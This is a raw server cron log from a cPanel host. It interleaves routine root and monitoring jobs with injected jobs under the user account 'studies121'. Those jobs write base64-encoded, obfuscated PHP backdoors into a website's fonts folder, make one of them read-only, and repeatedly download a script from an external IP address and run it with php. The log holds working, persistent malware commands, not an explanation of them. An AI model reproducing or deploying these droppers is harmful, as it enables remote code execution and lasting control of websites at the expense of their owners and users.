Sep  9 03:34:01 ip-184-168-122-23 CROND[3887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:35:02 ip-184-168-122-23 CROND[3978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:35:02 ip-184-168-122-23 CROND[3981]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 03:35:02 ip-184-168-122-23 CROND[3982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:35:02 ip-184-168-122-23 CROND[3985]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 03:35:02 ip-184-168-122-23 CROND[3983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:35:02 ip-184-168-122-23 CROND[3986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:35:02 ip-184-168-122-23 CROND[3994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:35:02 ip-184-168-122-23 CROND[3996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:36:01 ip-184-168-122-23 CROND[4120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:36:01 ip-184-168-122-23 CROND[4122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:36:01 ip-184-168-122-23 CROND[4124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:36:01 ip-184-168-122-23 CROND[4125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:36:01 ip-184-168-122-23 CROND[4127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:37:01 ip-184-168-122-23 CROND[4230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:37:01 ip-184-168-122-23 CROND[4232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:37:01 ip-184-168-122-23 CROND[4234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:37:01 ip-184-168-122-23 CROND[4233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:38:01 ip-184-168-122-23 CROND[4355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:38:01 ip-184-168-122-23 CROND[4358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:38:01 ip-184-168-122-23 CROND[4359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:38:01 ip-184-168-122-23 CROND[4360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:38:01 ip-184-168-122-23 CROND[4361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:39:01 ip-184-168-122-23 CROND[4532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:39:01 ip-184-168-122-23 CROND[4534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:39:01 ip-184-168-122-23 CROND[4536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:39:01 ip-184-168-122-23 CROND[4538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:39:01 ip-184-168-122-23 CROND[4535]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 03:40:01 ip-184-168-122-23 CROND[4631]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:40:01 ip-184-168-122-23 CROND[4633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:40:01 ip-184-168-122-23 CROND[4632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:40:01 ip-184-168-122-23 CROND[4635]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:40:01 ip-184-168-122-23 CROND[4634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:40:01 ip-184-168-122-23 CROND[4641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:40:01 ip-184-168-122-23 CROND[4638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:40:01 ip-184-168-122-23 CROND[4644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:41:01 ip-184-168-122-23 CROND[4744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:41:01 ip-184-168-122-23 CROND[4746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:41:01 ip-184-168-122-23 CROND[4748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:41:01 ip-184-168-122-23 CROND[4747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:42:01 ip-184-168-122-23 CROND[4862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:42:01 ip-184-168-122-23 CROND[4865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:42:01 ip-184-168-122-23 CROND[4864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:42:01 ip-184-168-122-23 CROND[4866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:42:01 ip-184-168-122-23 CROND[4867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:43:01 ip-184-168-122-23 CROND[4953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:43:01 ip-184-168-122-23 CROND[4956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:43:01 ip-184-168-122-23 CROND[4957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:43:01 ip-184-168-122-23 CROND[4958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:44:01 ip-184-168-122-23 CROND[5037]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:44:01 ip-184-168-122-23 CROND[5039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:44:01 ip-184-168-122-23 CROND[5042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:44:01 ip-184-168-122-23 CROND[5043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:44:01 ip-184-168-122-23 CROND[5041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:45:01 ip-184-168-122-23 CROND[5160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:45:01 ip-184-168-122-23 CROND[5162]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:45:01 ip-184-168-122-23 CROND[5165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:45:01 ip-184-168-122-23 CROND[5163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:45:01 ip-184-168-122-23 CROND[5166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:45:01 ip-184-168-122-23 CROND[5164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:46:01 ip-184-168-122-23 CROND[5323]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:46:01 ip-184-168-122-23 CROND[5325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:46:01 ip-184-168-122-23 CROND[5329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:46:01 ip-184-168-122-23 CROND[5330]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 03:46:01 ip-184-168-122-23 CROND[5327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:46:01 ip-184-168-122-23 CROND[5328]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
